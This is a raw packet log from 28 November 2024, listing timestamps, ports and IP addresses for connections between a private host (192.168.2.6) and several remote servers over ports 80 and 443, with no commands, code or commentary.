Nov 28, 2024 15:17:46.596991062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.597027063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.597073078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.597836018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.597883940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.597946882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.598156929 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.598752975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.598798990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.598875999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.598917007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.599687099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.599735022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.599879980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.599942923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.600580931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.600625992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.600761890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.600806952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.601500034 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.601547956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.601660013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.601751089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.602482080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.602582932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.602602005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.602742910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.603338003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.603385925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.603421926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.603461027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.604237080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.604357004 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.604401112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.605180025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.605281115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.605343103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.605736971 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:46.605750084 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:46.606024981 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:46.606033087 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:46.606076002 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:46.606091976 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:46.606148005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.606197119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.606229067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.606395960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.606985092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.607096910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.607161999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.607889891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.607947111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.608019114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.608130932 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.608230114 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.608803988 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.608829975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.608834982 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.608889103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.608939886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.609715939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.609822035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.609821081 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.609884024 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.610233068 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.610291004 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.610414028 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.610425949 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.610517979 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.610593081 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.610654116 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.610908985 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.610913992 CET	443	49870	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.610928059 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.611179113 CET	49870	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.612341881 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.612363100 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.612571955 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.612837076 CET	49877	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:46.612845898 CET	443	49877	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:46.639225006 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.664454937 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.667385101 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.667450905 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.667458057 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.667474031 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.684040070 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.684286118 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.684297085 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.684830904 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.685051918 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.685081959 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.685297966 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.685359001 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.685419083 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.686580896 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.686687946 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.687047005 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.687120914 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.687891006 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.687901974 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.687988997 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.731329918 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.734328985 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.734338999 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.740780115 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.747600079 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.747682095 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.760315895 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.760348082 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.760406017 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.760425091 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.761713982 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.761754990 CET	443	49869	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.761814117 CET	49869	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.762135029 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.762181997 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.764168978 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.765044928 CET	49880	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.765073061 CET	443	49880	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.767065048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.767147064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.767188072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.767493010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.767537117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.767538071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.768215895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.768271923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.768284082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.768440008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.769135952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.769193888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.769231081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.769623041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.770044088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.770103931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.770160913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.770386934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.770947933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.770997047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.771065950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.771153927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.771879911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.771929979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.771944046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.772245884 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.772828102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.772895098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.772972107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.773077965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.773690939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.773730993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.773825884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.773866892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.774610996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.774739981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.774774075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.774811983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.775573015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.775621891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.775700092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.775747061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.776457071 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.776567936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.776632071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.777376890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.777440071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.777477026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.777594090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.778306961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.778361082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.778482914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.779023886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.779218912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.779274940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.779402018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.779458046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.780105114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.780153036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.780206919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.780746937 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.781027079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.781088114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.781131983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.781235933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.781939030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.781992912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.782028913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.782104969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.782907009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.782943964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.783128023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.783876896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.783936024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.783958912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.783972979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.784810066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.784854889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.784944057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.784995079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.785650015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.785701990 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.785737991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.785782099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.786535025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.786596060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.786624908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.786663055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.787461042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.787507057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.787522078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.787558079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.788357973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.788470030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.788523912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.789290905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.789347887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.789414883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.789449930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.790210009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.790311098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.790345907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.790389061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.791074991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.791196108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.791223049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.791260958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.792022943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.792171001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.792175055 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.792206049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.792959929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.793009996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.793009996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.793077946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.899728060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.978790045 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.978817940 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.978878021 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.978887081 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.979814053 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.979852915 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.980010033 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.980206966 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.980284929 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.980356932 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.980736971 CET	49881	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.980771065 CET	443	49881	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.983829021 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.983851910 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.983903885 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.983922005 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.984070063 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.984205008 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.985569954 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.985590935 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.987842083 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.990786076 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.990806103 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.019690990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.020878077 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.020896912 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.020941973 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.020965099 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.020979881 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.021002054 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.021008015 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.021023035 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.021048069 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.021060944 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.021440983 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:47.021456957 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:47.055253983 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.058360100 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.058424950 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.058430910 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.058478117 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.058790922 CET	49874	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.058815002 CET	443	49874	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.107624054 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.110596895 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.110649109 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.110833883 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.143111944 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143145084 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143207073 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.143227100 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143393040 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143418074 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143419027 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.143465042 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.143815994 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.143837929 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.144387960 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.144454956 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.145288944 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.145308018 CET	443	49873	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.145339966 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.145368099 CET	49873	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.145801067 CET	49872	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:47.145811081 CET	443	49872	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:47.155769110 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.155838013 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.161238909 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.203346968 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.241089106 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.244035006 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.244086981 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.244441032 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.244462967 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.365597963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.365660906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.365664005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.365901947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.366010904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.366074085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.366115093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.366163969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.366914988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.366991997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.367003918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.367044926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.367842913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.367928028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.367971897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.368752003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.368809938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.368880987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.369479895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.436121941 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.448766947 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.448817015 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.485580921 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:47.488204956 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:47.498910904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.498972893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.498977900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.499021053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:47.499346018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:47.499408960 CET	49804	80	192.168.2.6	185.215.113.206
